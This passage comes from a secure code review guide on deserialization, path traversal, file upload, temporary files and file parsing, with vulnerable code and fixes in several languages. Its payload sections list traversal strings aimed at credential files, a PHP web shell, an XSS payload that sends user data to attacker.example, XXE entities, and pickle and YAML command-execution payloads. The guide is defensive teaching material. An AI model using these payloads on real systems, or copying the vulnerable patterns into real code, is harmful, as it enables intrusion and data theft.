    TypeNameHandling = TypeNameHandling.All
});
DataContractSerializer with known types expanded from user input
```

JavaScript

```
node-serialize.unserialize(userInput);
// eval(JSON.parse) patterns that revive functions
require('serialize-javascript') with untrusted revive
```

Go

```
gob.NewDecoder(r).Decode(&v) // from untrusted client
encoding/gob on network input without schema
json.Unmarshal into map[string]interface{} then type assertions on @type fields
```

PHP

```
unserialize($_COOKIE['session']);
unserialize(file_get_contents('php://input'));
```

Vulnerable Examples in Other Languages

Java

```
public User loadSession(byte[] blob) throws Exception {
    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(blob));
    return (User) ois.readObject(); // attacker-controlled bytes
}

public Object importState(InputStream body) throws Exception {
    ObjectInputStream ois = new ObjectInputStream(body);
    return ois.readObject();
}

// Jackson default typing on untrusted JSON
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
User user = mapper.readValue(jsonFromClient, User.class);
```

C

```
public object LoadCache(string base64)
{
    var bytes = Convert.FromBase64String(base64);
    var formatter = new BinaryFormatter();
    using var ms = new MemoryStream(bytes);
    return formatter.Deserialize(ms);
}

public T DeserializeJson<T>(string json)
{
    return JsonConvert.DeserializeObject<T>(json, new JsonSerializerSettings
    {
        TypeNameHandling = TypeNameHandling.All // polymorphic gadget risk
    });
}
```

Go

```
// Accepting gob from clients without schema validation
func decodeProfile(r io.Reader) (*Profile, error) {
    dec := gob.NewDecoder(r)
    var p Profile
    return &p, dec.Decode(&p)
}

func restoreSession(cookie string) (map[string]interface{}, error) {
    data, _ := base64.StdEncoding.DecodeString(cookie)
    var state map[string]interface{}
    return state, json.Unmarshal(data, &state) // no signature or type allowlist
}
```

Fix: Safer Patterns and Libraries to Use

Python

Parse JSON with schema validation. Never unpickle untrusted bytes.

```
import json
from pydantic import BaseModel, ValidationError

class ImportState(BaseModel):
    version: int
    items: list[str]

@app.route("/import", methods=["POST"])
def import_state():
    try:
        data = json.loads(request.get_data())
        state = ImportState.model_validate(data)
    except (json.JSONDecodeError, ValidationError):
        abort(400)
    return process(state)

@app.route("/config", methods=["POST"])
def load_config():
    config = yaml.safe_load(request.get_data())
    apply_config(config)
```

Store session state server-side with opaque IDs instead of pickled cookies. See [yaml.safe_load](#) and [pydantic](#).

Java

Map JSON to explicit DTOs. Disable default typing. Use `ObjectInputFilter` when legacy serialization cannot be removed.

```
import com.google.gson.Gson;
import com.google.gson.JsonSyntaxException;

public User parseUser(String jsonInput) {
    Gson gson = new Gson();
    try {
        return gson.fromJson(jsonInput, User.class);
    } catch (JsonSyntaxException e) {
        throw new IllegalArgumentException("Invalid JSON input");
    }
}
```

```
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
    "com.example.User;!*");
ois.setObjectInputFilter(filter);
```

See [JEP 290: Filter Incoming Serialization Data](#) and [Gson user guide](#).

C

Deserialize into known types with `System.Text.Json`. Avoid `BinaryFormatter`.

```
public ImportState LoadState(string json)
{
    return JsonSerializer.Deserialize<ImportState>(json, new JsonSerializerOptions
    {
        PropertyNameCaseInsensitive = false,
        AllowTrailingCommas = false
    }) ?? throw new JsonException("Invalid payload");
}
```

In `Newtonsoft.Json`, set `TypeNameHandling = TypeNameHandling.None` on external input. See [System.Text.Json overview](#).

Go

Unmarshal JSON into structs with unknown field rejection and size limits.

```
func decodeProfile(r io.Reader) (*Profile, error) {
    dec := json.NewDecoder(io.LimitReader(r, 1<<20))
    dec.DisallowUnknownFields()
    var p Profile
    if err := dec.Decode(&p); err != nil {
        return nil, err
    }
    return &p, nil
}
```

Prefer [protobuf](#) or [msgpack](#) with explicit message types instead of gob from clients.

4.4 Code Reference — Review Paths, Uploads, and Files

Path traversal { : #path-traversal }

From former 4-11-review-path-traversal.md. **Guiding chapter section:** [4.4 - Review Paths, Uploads, and Files § Path traversal](#).

4.11 Code Reference — Review Path Traversal

Attack Payloads

Use these in authorized tests when a parameter influences filesystem paths. Replace FILE with the expected filename parameter (e.g., document.pdf).

Pattern 1: Basic parent-directory traversal

```
AVATAR=../../../../etc/shadow
AVATAR=../../../../var/log/auth.log
AVATAR=../../../../windows\\system32\\config\\sam
```

Pattern 2: URL-encoded and double-encoded sequences

```
AVATAR=..%2f..%2f..%2fvar%2flog%2fnginx%2faccess.log
AVATAR=..%252f..%252f..%252fetc%252fshadow
AVATAR=%2e%2e%2f%2e%2e%2fetc%2fhostname
```

Pattern 3: Absolute path bypass

```
AVATAR=/var/log/app.log
AVATAR=C:\inetpub\logs\LogFiles\W3SVC1\u_ex.log
AVATAR=file:///etc/hosts
```

Pattern 4: Null byte truncation (legacy)

```
AVATAR=../../../../etc/passwd%00.png
AVATAR=backup.sql%00.jpg
```


Pattern 5: Archive entry names (zip slip)

```
../../../../home/deploy/.ssh/authorized_keys
..\..\..\..\Startup\\malware.bat
```

Pattern 6: Unicode and normalization bypass

```
AVATAR=..%c0%af..%c0%afetc/passwd
AVATAR=....\....\etc/hosts
AVATAR=..%ef%bc%8f..%ef%bc%8fvar/log/syslog
```

Language-Specific Sinks and Dangerous APIs

Search for path concatenation without canonicalization and base-directory checks. Any API that opens files from user-influenced strings is a review priority.

Python

```
open(f"/var/www/avatars/{user_id}/{filename}")
send_file(os.path.join(AVATAR_ROOT, avatar_name))
Path(log_dir) / request.args.get("name")
shutil.copy(user_path, dest)
tarfile.extractall(user_upload) # no per-entry validation
```

Java

```
new FileInputStream(baseDir + "/" + filename);
Paths.get(uploadRoot, userSuppliedName);
Files.readAllBytes(Paths.get(userPath));
new File(base, URLDecoder.decode(name, "UTF-8"));
```

C

```
var path = Path.Combine(baseDir, filename);
File.ReadAllText(path);
File.OpenRead(userSuppliedPath);
context.Response.TransmitFile(base + "\\ " + name);
```

JavaScript (Node.js)

```
fs.readFileSync(path.join(baseDir, req.query.file));
res.sendFile(path.resolve(uploads, filename));
fs.createReadStream(`/data/${req.params.name}`);
```

Go

```
http.ServeFile(w, r, filepath.Join(root, r.URL.Query().Get("f")))
ioutil.ReadFile(base + "/" + filename)
os.Open(filepath.Clean(userPath)) // Clean alone is insufficient
```

Shell

```
cat "$UPLOAD_DIR/$filename"
cp "$user_file" /var/www/
unzip "$archive" # extracts all paths without validation
```

C

```
snprintf(path, sizeof(path), "%s/%s", base, user_file);
fopen(path, "r");
open(full_path, O_RDONLY);
```

Vulnerable Examples in Other Languages

Java

```
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
    String logName = req.getParameter("log");
    String basePath = req.getServletContext().getRealPath("logs");
    Path path = Paths.get(basePath, logName);
    File file = path.toAbsolutePath().toFile();
    if (!file.exists()) {
        resp.setStatus(404);
        return;
    }
    try (InputStream in = new FileInputStream(file)) {
        IOUtils.copy(in, resp.getOutputStream());
    }
}
```

C

```
[HttpGet("invoices/{id}/pdf")]
public IActionResult DownloadInvoicePdf(int id, string template)
{
    var path = Path.Combine(_invoiceRoot, id.ToString(), template);
    if (!System.IO.File.Exists(path))
        return NotFound();
    var bytes = System.IO.File.ReadAllBytes(path);
    return File(bytes, "application/pdf", Path.GetFileName(path));
}
```

Go

```
func serveAvatar(w http.ResponseWriter, r *http.Request) {
    avatar := r.URL.Query().Get("name")
    uid := r.URL.Query().Get("uid")
    path := filepath.Join("/var/www/avatars", uid, avatar)
    http.ServeFile(w, r, path)
}
```

Fix: Safer Patterns and Libraries to Use

Python

Resolve paths and verify they stay under the upload root. Prefer framework helpers.

```
from pathlib import Path
from flask import send_from_directory

AVATAR_ROOT = Path("/var/www/avatars").resolve()

@app.route("/avatar")
def serve_avatar():
    avatar = request.args.get("name", "")
    uid = request.args.get("uid", "")
    safe_path = (AVATAR_ROOT / uid / Path(avatar).name).resolve()
    if not safe_path.is_relative_to(AVATAR_ROOT):
        return "Forbidden", 403
    if not safe_path.is_file():
        return "Not found", 404
    return send_from_directory(safe_path.parent, safe_path.name)
```

```

from werkzeug.security import safe_join

path = safe_join("/var/www/uploads", filename)
if path is None:
    return "Invalid path", 400

```

Important: Use opaque stored filenames (UUIDs) on disk. Keep original names in metadata only.

Java

Normalize and verify the resolved path starts with the base directory.

```

Path base = Paths.get("/var/www/avatars").toAbsolutePath().normalize();
Path resolved = base.resolve(uid).resolve(Paths.get(avatar).getFileName()).normalize();
if (!resolved.startsWith(base) || !Files.isRegularFile(resolved)) {
    throw new ResponseStatusException(HttpStatus.NOT_FOUND);
}
Files.copy(resolved, response.getOutputStream());

```

Important: `Paths.get(base, filename)` alone is insufficient. Always normalize and compare prefix against the trusted root.

C

Use `Path.GetFullPath` with a prefix check. Strip directory segments from user input.

```

var safeName = Path.GetFileName(template);
var fullPath = Path.GetFullPath(Path.Combine(_invoiceRoot, id.ToString(), safeName));
if (!fullPath.StartsWith(_invoiceRoot, StringComparison.OrdinalIgnoreCase))
    return Forbid();
if (!System.IO.File.Exists(fullPath))
    return NotFound();
return PhysicalFile(fullPath, "application/pdf", safeName);

```

Important: Reject rooted paths. `Path.IsPathRooted(userInput)` should fail for untrusted filenames.

Go

Clean paths and verify prefix under root. Prefer `http.Dir` or `embed.FS`.

```
func serveAvatar(w http.ResponseWriter, r *http.Request) {
    name := filepath.Base(r.URL.Query().Get("name"))
    uid := filepath.Base(r.URL.Query().Get("uid"))
    root := filepath.Join("/var/www/avatars", uid)
    clean := filepath.Clean(filepath.Join(root, name))
    if !strings.HasPrefix(clean, root+string(os.PathSeparator)) && clean != root {
        http.Error(w, "forbidden", http.StatusForbidden)
        return
    }
    http.ServeFile(w, r, clean)
}
```

```
// Zip slip protection:
dest := filepath.Clean(extractRoot)
target := filepath.Clean(filepath.Join(dest, f.Name))
if !strings.HasPrefix(target, dest+string(os.PathSeparator)) {
    return fmt.Errorf("illegal path in archive")
}
```

Important: Validate every archive member path before extraction, not only the top-level filename.

Insecure file path handling {: #file-path }

From former 4-29-review-insecure-file-path-handling.md. **Guiding chapter section:** [4.4 - Review Paths, Uploads, and Files § Insecure file path handling](#).

4.29 Code Reference — Review Insecure File Path Handling

Attack Payloads

Use these in authorized tests against download, avatar, and attachment parameters named file, path, or filename.

Pattern 1: Classic parent-directory traversal

```
../../../../etc/passwd
..\..\..\windows\win.ini
```

Pattern 2: URL-encoded and double-encoded sequences

```
..%2f..%2fetc%2fpasswd  
%2e%2e%2fetc%2fpasswd  
..%252f..%252fetc%252fpasswd
```

Pattern 3: Absolute path injection

```
/etc/passwd  
C:\boot.ini  
file:///etc/passwd
```

Pattern 4: Null-byte truncation (legacy stacks)

```
../../../../etc/passwd%00.png
```

Pattern 5: Symlink under allowed base (abuse scenario)

```
# Attacker creates symlink in writable area  
ln -s /etc/passwd /var/app/uploads/avatar.png  
# Server serves "avatar.png" → reads /etc/passwd
```

Pattern 6: Identifier resolved to path without confinement

```
GET /files?id=../../../../secrets/db.yml
```

Language-Specific Sinks and Dangerous APIs

Search for path joins and file APIs that use user input before canonicalization against a base directory.

Python

```
open(os.path.join(UPLOAD_DIR, filename))  
Path(base) / user_path  
send_file(request.args["path"])
```

`flask.send_from_directory` without `safe_join`; `shutil.copy` with user filenames.

Java

```
new FileInputStream(baseDir + "/" + filename);
Paths.get(uploadRoot, userSuppliedName);
Files.readAllBytes(Paths.get(userPath));
```

ResourceUtils.getFile, Spring Resource handlers, ServletContext.getResourceAsStream.

C

```
var path = Path.Combine(_base, fileName);
return PhysicalFile(path, "application/octet-stream");
File.ReadAllBytes(userPath);
```

JavaScript (Node.js)

```
const p = path.join(__dirname, "uploads", req.query.file);
fs.readFileSync(p);
res.sendFile(req.params.name, { root: uploads });
```

Go

```
http.ServeFile(w, r, filepath.Join(base, r.URL.Query().Get("f")))
ioutil.ReadFile(filepath.Join(dir, name))
```

PHP and legacy

```
include($_GET['page'] . '.php');
readfile('/var/docs/' . $_GET['doc']);
```

Vulnerable Examples in Other Languages

Java

```
@GetMapping("/download")
public void download(@RequestParam String filename, HttpServletResponse resp)
    throws IOException {
    String basePath = servletContext.getRealPath("/uploads");
    Path path = Paths.get(basePath, filename);
    try (InputStream in = new FileInputStream(path.toFile())) {
        IOUtils.copy(in, resp.getOutputStream());
    }
}

@PostMapping("/avatar")
public void saveAvatar(@RequestParam String name, @RequestBody byte[] data)
    throws IOException {
    Path target = Paths.get("/data/avatars", name);
    Files.write(target, data);
}
```

C

```
[HttpGet("files")]
public IActionResult GetFile([FromQuery] string file)
{
    var path = Path.Combine(_uploadRoot, file);
    return PhysicalFile(path, "application/octet-stream");
}

[HttpPost("backup/restore")]
public IActionResult Restore([FromQuery] string archivePath)
{
    var source = Path.Combine(_backupRoot, archivePath);
    ZipFile.ExtractToDirectory(source, _restoreTarget);
    return Ok();
}
```


Go

```
func download(w http.ResponseWriter, r *http.Request) {
    name := r.URL.Query().Get("name")
    http.ServeFile(w, r, filepath.Join("/data/files", name))
}

func saveAttachment(w http.ResponseWriter, r *http.Request) {
    name := r.FormValue("filename")
    data, _ := io.ReadAll(r.Body)
    os.WriteFile(filepath.Join("/var/uploads", name), data, 0644)
}
```

Fix: Safer Patterns and Libraries to Use

Python

Resolve paths and verify they stay under the upload root. Prefer `send_from_directory`.

```
from pathlib import Path

from fastapi import FastAPI, HTTPException
from fastapi.responses import FileResponse
from werkzeug.utils import secure_filename

app = FastAPI()
AVATAR_ROOT = Path("/var/data/avatars").resolve()

@app.get("/avatars/{name}")
def avatar(name: str):
    safe = secure_filename(name)
    if not safe:
        raise HTTPException(status_code=400)
    target = (AVATAR_ROOT / safe).resolve()
    if not target.is_relative_to(AVATAR_ROOT) or not target.is_file():
        raise HTTPException(status_code=404)
    return FileResponse(target)
```

Important: `secure_filename` alone is not enough. Always verify resolved path containment.

Java

Compare canonical paths after join.

```

Path base = Paths.get(basePath).toAbsolutePath().normalize();
Path target = base.resolve(filename).normalize();
if (!target.startsWith(base)) {
    throw new SecurityException("path traversal blocked");
}
if (!Files.isRegularFile(target)) {
    throw new FileNotFoundException();
}
Files.copy(target, response.getOutputStream());

```

C

Use `Path.GetFullPath` and compare to the upload root.

```

var safeName = Path.GetFileName(name);
var candidate = Path.GetFullPath(Path.Combine(_uploadRoot, safeName));
var root = Path.GetFullPath(_uploadRoot);
if (!candidate.StartsWith(root + Path.DirectorySeparatorChar))
    return Forbid();
return PhysicalFile(candidate, "application/octet-stream");

```

Go

Use `filepath.Clean` and verify `filepath.Rel` does not escape.

```

func safePath(base, name string) (string, error) {
    clean := filepath.Clean(name)
    if filepath.IsAbs(clean) || strings.HasPrefix(clean, "..") {
        return "", fmt.Errorf("invalid name")
    }
    full := filepath.Join(base, clean)
    rel, err := filepath.Rel(base, full)
    if err != nil || strings.HasPrefix(rel, "..") {
        return "", fmt.Errorf("path traversal blocked")
    }
    return full, nil
}

```

Insecure file upload {:#upload }

From former 4-30-review-insecure-file-upload.md. **Guiding chapter section:** [4.4 - Review Paths, Uploads, and Files § Insecure file upload.](#)

4.30 Code Reference — Review Insecure File Upload

Attack Payloads

Use these in authorized tests on upload endpoints. Abuse scenarios include web shells, stored XSS via SVG/HTML, and quota exhaustion.

Pattern 1: Web shell under web root (upload abuse scenario)

```
Filename: shell.php.jpg or shell.jsp
Content: <?php system($_GET['cmd']); ?>
```

Stored under public/uploads/ and executed by the web server.

Pattern 2: Double extension and MIME mismatch

```
report.pdf.exe
image.png (polyglot with HTML/script)
Content-Type: image/jpeg (client lie; body is HTML)
```

Pattern 3: SVG and HTML active content

```
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.domain)</script>
</svg>
```

```
<script>fetch('/api/me').then(r=>r.json()).then(d=>fetch('https://
attacker.example/?'+btoa(JSON.stringify(d))))</script>
```

Pattern 4: Path traversal in original filename

```
filename=../../../static/evil.js
```

Pattern 5: Oversized and zip bomb uploads

```
10GB file or highly compressible blob to exhaust disk/RAM during scan
```

Pattern 6: Content sniffing bypass

```
GIF89a<?php ... ?> # magic bytes + executable payload
```

Language-Specific Sinks and Dangerous APIs

Search for save paths, extension checks, and download handlers that trust client metadata.

Python

```
file.save(os.path.join("static", file.filename))  
werkzeug secure_filename omitted  
return send_file(upload_path, mimetype=file.content_type)
```

Flask request.files; Django FileField saved to MEDIA_ROOT under web root.

Java

```
part.write(uploadDir + File.separator + part.getSubmittedFileName());  
Files.copy(stream, Paths.get(publicDir, originalName));
```

Spring MultipartFile.transferTo; servlet Part without content sniffing.

C

```
file.CopyTo(Path.Combine(_webRoot, file.FileName));  
return PhysicalFile(path, file.ContentType);
```

IFormFile saved with client FileName; missing virus scan and size cap before buffer.

JavaScript (Node.js)

```
const dest = path.join("public", req.file.originalname);  
fs.writeFileSync(dest, req.file.buffer);  
multer({ dest: "uploads/" })
```

Go

```
os.WriteFile(filepath.Join("static", header.Filename), data, 0644)
```

Object storage

```
s3.put_object(Key=user_key, ACL='public-read') # user-controlled key under web bucket
```

Vulnerable Examples in Other Languages

Java

```
@PostMapping("/upload")
public void upload(HttpServletRequest req, HttpServletResponse resp) throws Exception {
    Part part = req.getPart("file");
    String name = part.getSubmittedFileName();
    part.write(getServletContext().getRealPath("/uploads/" + name));
}

@GetMapping("/uploads/{name}")
public void serve(@PathVariable String name, HttpServletResponse resp) throws IOException {
    File file = new File("/var/www/html/uploads/" + name);
    Files.copy(file.toPath(), resp.getOutputStream());
}
```

C

```
[HttpPost("upload")]
public async Task<IActionResult> Upload(IFormFile file)
{
    var path = Path.Combine(_env.WebRootPath, "uploads", file.FileName);
    using var stream = new FileStream(path, FileMode.Create);
    await file.CopyToAsync(stream);
    return Ok(new { url = "/uploads/" + file.FileName });
}

[HttpPost("import")]
public async Task<IActionResult> Import(IFormFile file)
{
    if (Path.GetExtension(file.FileName).Equals(".jsp", StringComparison.OrdinalIgnoreCase))
        return BadRequest("JSP not allowed");
    var path = Path.Combine(_uploadRoot, file.FileName);
    await using var fs = new FileStream(path, FileCreate);
    await file.CopyToAsync(fs);
    return Ok();
}
```

Go

```
func upload(w http.ResponseWriter, r *http.Request) {
    r.ParseMultipartForm(32 << 20)
    file, header, _ := r.FormFile("file")
    defer file.Close()
    out, _ := os.Create("/var/www/html/uploads/" + header.Filename)
    io.Copy(out, file)
}

func serveUpload(w http.ResponseWriter, r *http.Request) {
    name := mux.Vars(r)["name"]
    http.ServeFile(w, r, filepath.Join("/var/www/html/uploads", name))
}
```

Fix: Safer Patterns and Libraries to Use

Python

Generate server-side storage keys. Store outside the web root. Verify content with Pillow or magic bytes.

```

import uuid
from pathlib import Path

from flask import Flask, abort, request
from PIL import Image
from werkzeug.utils import secure_filename

app = Flask(__name__)
UPLOAD_ROOT = Path("/var/data/uploads") # not under static/
ALLOWED_EXT = {".png", ".jpg", ".jpeg"}
MAX_BYTES = 5 * 1024 * 1024

@app.route("/upload", methods=["POST"])
def upload():
    f = request.files.get("file")
    if not f:
        abort(400)
    data = f.read(MAX_BYTES + 1)
    if len(data) > MAX_BYTES:
        abort(413)
    ext = Path(secure_filename(f.filename)).suffix.lower()
    if ext not in ALLOWED_EXT:
        abort(400)
    # Re-encode image to strip active content and verify format
    from io import BytesIO
    img = Image.open(BytesIO(data))
    img.verify()
    img = Image.open(BytesIO(data))
    key = f"{uuid.uuid4().hex}{ext}"
    out = UPLOAD_ROOT / key
    img.save(out, format=img.format)
    return {"id": key}

```

Important: Serve downloads through an authenticated endpoint with safe headers, not direct static URLs.

Java

Store as random UUID keys outside the web root. Serve through a controlled servlet.

```

String original = part.getSubmittedFileName();
String ext = validateExtension(original);
String key = UUID.randomUUID() + ext;
Path dest = uploadRoot.resolve(key); // uploadRoot not under webapp root
try (InputStream in = part.getInputStream()) {
    Files.copy(in, dest, StandardCopyOption.REPLACE_EXISTING);
}
return key;

```

C

Validate signature bytes. Store in private blob storage, not WebRootPath.

```
public async Task<IActionResult> Upload(IFormFile file)
{
    if (file.Length > MaxBytes) return BadRequest();
    await using var ms = new MemoryStream();
    await file.CopyToAsync(ms);
    if (!IsAllowedImage(ms))
        return BadRequest("Invalid file type");
    var key = $"{Guid.NewGuid():N}.png";
    await _storage.SaveAsync(key, ms.ToArray());
    return Ok(new { id = key });
}
```

Go

Limit bytes read. Use random hex names. Detect content type from first 512 bytes.


```

import (
    "bytes"
    "crypto/rand"
    "encoding/hex"
    "io"
    "net/http"
    "os"
    "path/filepath"
    "strings"
)

func upload(w http.ResponseWriter, r *http.Request) {
    r.Body = http.MaxBytesReader(w, r.Body, 5<<20)
    file, header, err := r.FormFile("file")
    if err != nil {
        http.Error(w, "bad request", 400)
        return
    }
    defer file.Close()
    buf := make([]byte, 512)
    n, _ := file.Read(buf)
    ctype := http.DetectContentType(buf[:n])
    if !strings.HasPrefix(ctype, "image/") {
        http.Error(w, "invalid type", 400)
        return
    }
    rnd := make([]byte, 16)
    rand.Read(rnd)
    key := hex.EncodeToString(rnd) + filepath.Ext(header.Filename)
    out, err := os.Create(filepath.Join(uploadRoot, key))
    if err != nil {
        http.Error(w, "server error", 500)
        return
    }
    defer out.Close()
    io.Copy(out, io.MultiReader(bytes.NewReader(buf[:n]), file))
}

```

Insecure temporary files {:#temp-files }

From former 4-27-review-insecure-temporary-files.md. **Guiding chapter section:** [4.4 - Review Paths, Uploads, and Files § Insecure temporary files](#).

4.27 Code Reference — Review Insecure Temporary Files

Attack Payloads

Use these in authorized tests on shared hosts or containers with a writable `/tmp`. Abuse scenarios include guessing paths, symlink races, and reading world-readable exports.

Pattern 1: Predictable path guessing

```
/tmp/export_12345.csv  
/tmp/app_upload_67890.pdf  
/var/tmp/report-{pid}.xml
```

Scan with the application's PID or session patterns when filenames are sequential or derived from `os.getpid()`.

Pattern 2: TOCTOU symlink race (abuse scenario)

```
# Attacker on shared host  
ln -s /etc/passwd /tmp/export_pending.csv  
# App checks exists(), then opens and writes sensitive export
```

Pattern 3: World-readable sensitive export

```
ls -l /tmp/user_export.csv  
# -rw-r--r-- 1 app app 50000 ... → other users can read
```

Pattern 4: Stale temp files after crash

```
/tmp/payment_receipt_abc123.pdf # left for hours with PAN data
```

Pattern 5: Predictable names in URLs

```
GET /download?file=/tmp/session_42_export.zip
```

Pattern 6: Container shared volume

```
/tmp from host mounted into multiple pods – cross-tenant read if names collide
```

Language-Specific Sinks and Dangerous APIs

Search for temp file creation without secure random names, 0_EXCL, or restrictive permissions.

Python

```
open(f"/tmp/upload_{user_id}.dat", "w")
tempfile.mktemp(suffix=".csv") # deprecated – predictable
NamedTemporaryFile(delete=False) # left on disk without cleanup
os.chmod(path, 0o644)
```

tempfile.mkstemp is safer when used with 0600 and prompt os.unlink.

Java

```
File f = new File("/tmp/export-" + userId + ".xml");
File.createTempFile("report", ".pdf"); // default dir may be world-readable
Files.write(path, data); // no explicit PosixFilePermissions
```

File.deleteOnExit() without guaranteed removal on crash paths.

C

```
var path = Path.Combine(Path.GetTempPath(), $"export_{id}.csv");
File.WriteAllText(path, sensitive);
```

Path.GetTempFileName() without ACL hardening on Windows.

JavaScript (Node.js)

```
const p = `/tmp/${req.session.id}.json`;
fs.writeFileSync(p, JSON.stringify(data));
```

Go

```
f, _ := os.Create(fmt.Sprintf("/tmp/out_%d", os.Getpid()))
ioutil.WriteFile("/tmp/"+name, data, 0644)
```

Shell

```
echo "$DATA" > /tmp/report.$$
mktemp /tmp/upload.XXXXXX # wrong if X not used
```

Vulnerable Examples in Other Languages

Java

```
public Path writeExport(String csv) throws IOException {
    File file = new File("/var/app/files/temporary.txt");
    file.createNewFile();
    try (FileWriter w = new FileWriter(file)) {
        w.write(csv);
    }
    return file.toPath();
}

public void stageUpload(byte[] data) throws IOException {
    Path path = Paths.get("/tmp", "upload-" + ProcessHandle.current().pid() + ".bin");
    Files.write(path, data); // predictable name on shared /tmp
}
```

C

```
public IActionResult ExportCsv(string csv)
{
    var path = Path.Combine(Path.GetTempPath(), "export-" + DateTime.UtcNow.Ticks + ".csv");
    File.WriteAllText(path, csv);
    return PhysicalFile(path, "text/csv");
}

public async Task SaveDraftAsync(string userId, string content)
{
    var path = Path.Combine(Path.GetTempPath(), $"draft-{userId}.txt");
    await File.WriteAllTextAsync(path, content); // world-readable default on some hosts
}
```

Shell

```
#!/bin/bash
# Predictable path under shared /tmp – other local users can read before delete
REPORT="/tmp/report-$$ .txt"
echo "$SECRET_DATA" > "$REPORT"
upload_to_s3 "$REPORT"
rm -f "$REPORT"

# TOCTOU: check then write in separate steps
if [ ! -f /tmp/export.csv ]; then
    echo "$CSV" > /tmp/export.csv
fi
```

Go

```
func writeReport(data string) (string, error) {
    path := fmt.Sprintf("/tmp/report-%d.txt", os.Getpid())
    f, err := os.Create(path)
    if err != nil {
        return "", err
    }
    defer f.Close()
    io.WriteString(f, data)
    return path, nil
}

func exportCsv(w http.ResponseWriter, csv string) {
    path := filepath.Join(os.TempDir(), "export.csv")
    os.WriteFile(path, []byte(csv), 0644)
    http.ServeFile(w, &http.Request{}, path)
}
```

Fix: Safer Patterns and Libraries to Use

Python

Use `tempfile` for unpredictable names. Delete in `finally`. Restrict permissions when needed.

```
import os
import tempfile

def write_report(secret_report: str) -> str:
    fd, path = tempfile.mkstemp(prefix="report_", suffix=".txt")
    try:
        with os.fdopen(fd, "w", encoding="utf-8") as f:
            os.chmod(path, 0o600)
            f.write(secret_report)
        return path
    except Exception:
        os.close(fd)
        raise
    finally:
        # Caller should delete after use; document ownership
        pass

def process_and_cleanup(secret_report: str) -> None:
    path = write_report(secret_report)
    try:
        upload_to_storage(path)
    finally:
        os.remove(path)
```

Important: On multi-tenant hosts, configure a private temp directory per deployment instead of shared /tmp.

Java

Use `Files.createTempFile` with restrictive POSIX permissions. Delete in `finally`.

```
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.attribute.PosixFilePermissions;
import java.util.Set;

Path temp = Files.createTempFile(
    "report-",
    ".txt",
    PosixFilePermissions.asFileAttribute(Set.of(
        PosixFilePermission.OWNER_READ,
        PosixFilePermission.OWNER_WRITE)));
try {
    Files.writeString(temp, secretReport);
    process(temp);
} finally {
    Files.deleteIfExists(temp);
}
```

C

Prefer `File.CreateTemp` (.NET 6+) or private app directories with ACL control.

```
var path = Path.GetTempFileName();
try
{
    await File.WriteAllTextAsync(path, csv);
    await UploadAsync(path);
}
finally
{
    File.Delete(path);
}
```

```
// .NET 6+ alternative
string path = Path.GetTempFileName(); // or File.CreateTemp when available
```

Go

Use `os.CreateTemp`. Set `0600` when defaults are loose. Always defer `os.Remove`.

```

func writeReport(data string) (string, error) {
    f, err := os.CreateTemp("", "report-*.txt")
    if err != nil {
        return "", err
    }
    path := f.Name()
    _ = f.Chmod(0600)
    if _, err := io.WriteString(f, data); err != nil {
        f.Close()
        os.Remove(path)
        return "", err
    }
    if err := f.Close(); err != nil {
        os.Remove(path)
        return "", err
    }
    return path, nil
}

```

Insecure file parsing { #file-parsing }

From former 4-28-review-insecure-file-parsing.md. **Guiding chapter section:** [4.4 - Review Paths, Uploads, and Files § Insecure file parsing.](#)

4.28 Code Reference — Review Insecure File Parsing

Attack Payloads

Use these in authorized tests with crafted files in upload and import features. Confirm parser limits and safe loader settings per format.

Pattern 1: Zip Slip path traversal (archive abuse scenario)

```

# Malicious entry name inside archive
../../../../etc/passwd
..\..\windows\system32\config\sam

```

Pattern 2: XML external entity (XXE)

```
<!DOCTYPE foo [  
  <!ENTITY xxe SYSTEM "file:///etc/passwd">  
<root>&xxe;</root>
```

Pattern 3: Billion laughs / entity expansion

```
<!ENTITY a "aaaa...">  
<!ENTITY b "&a;&a;...">
```

Pattern 4: Unsafe deserialization in file body

```
# pickle magic bytes in uploaded .dat  
cos\system\n(S'whoami'\ntR.
```

Pattern 5: YAML unsafe load

```
!!python/object/apply:os.system ['id']
```

Pattern 6: Zip bomb and nested archives

42.zip containing 42.zip × N with huge uncompressed size

Language-Specific Sinks and Dangerous APIs

Search for parsers that enable dangerous features on untrusted input.

Python

```
zipfile.ZipFile(path).extractall(dest) # no path check  
yaml.load(data) # use yaml.safe_load  
pickle.load(f)  
xml.etree.ElementTree.parse(path) # XXE risk in some configs  
lxml.etree.parse(path)
```

tarfile.extractall, PIL.Image.open without size limits, pdfplumber on hostile PDFs.

Java

```
new ObjectInputStream(in).readObject();
DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(in);
ZipInputStream zis; zis.getNextEntry(); Files.copy(..., Paths.get(dest, entry.getName()));
```

XMLInputFactory without ACCESS_EXTERNAL_DTD disabled; Apache POI on macro-enabled Office files.

C

```
BinaryFormatter.Deserialize(stream);
new XmlDocument().Load(path);
ZipFile.ExtractToDirectory(archive, dest);
```

JavaScript

```
const zip = await JSZip.loadAsync(buffer);
zip.file(entry.name).async("uint8array"); // entry.name may contain ../
yaml.load(str);
```

Go

```
archive/zip.OpenReader(path) // extract without filepath.Clean check
xml.Unmarshal(data, &v) // verify decoder limits
```

C / native

```
unzip(file, dest_dir); // no canonical path check
```

Vulnerable Examples in Other Languages

Java

```
public void importArchive(InputStream in) throws Exception {
    try (ZipInputStream zis = new ZipInputStream(in)) {
        ZipEntry entry;
        while ((entry = zis.getNextEntry()) != null) {
            Path out = Paths.get("/var/import", entry.getName());
            Files.copy(zis, out, StandardCopyOption.REPLACE_EXISTING);
        }
    }
}

public Config loadConfig(byte[] yamlBytes) {
    Yaml yaml = new Yaml(); // unsafe constructor – arbitrary object construction
    return yaml.load(new String(yamlBytes));
}
```

C

```
public object LoadSession(byte[] blob)
{
    var formatter = new BinaryFormatter();
    using var ms = new MemoryStream(blob);
    return formatter.Deserialize(ms);
}

public void ImportXml(Stream upload)
{
    var doc = new XmlDocument();
    doc.XmlResolver = new XmlUrlResolver(); // XXE via external entities
    doc.Load(upload);
}
```

Go

```
func parseUpload(r io.Reader) error {
    dec := xml.NewDecoder(r)
    dec.Strict = false
    var doc any
    return dec.Decode(&doc)
}

func importArchive(path string) error {
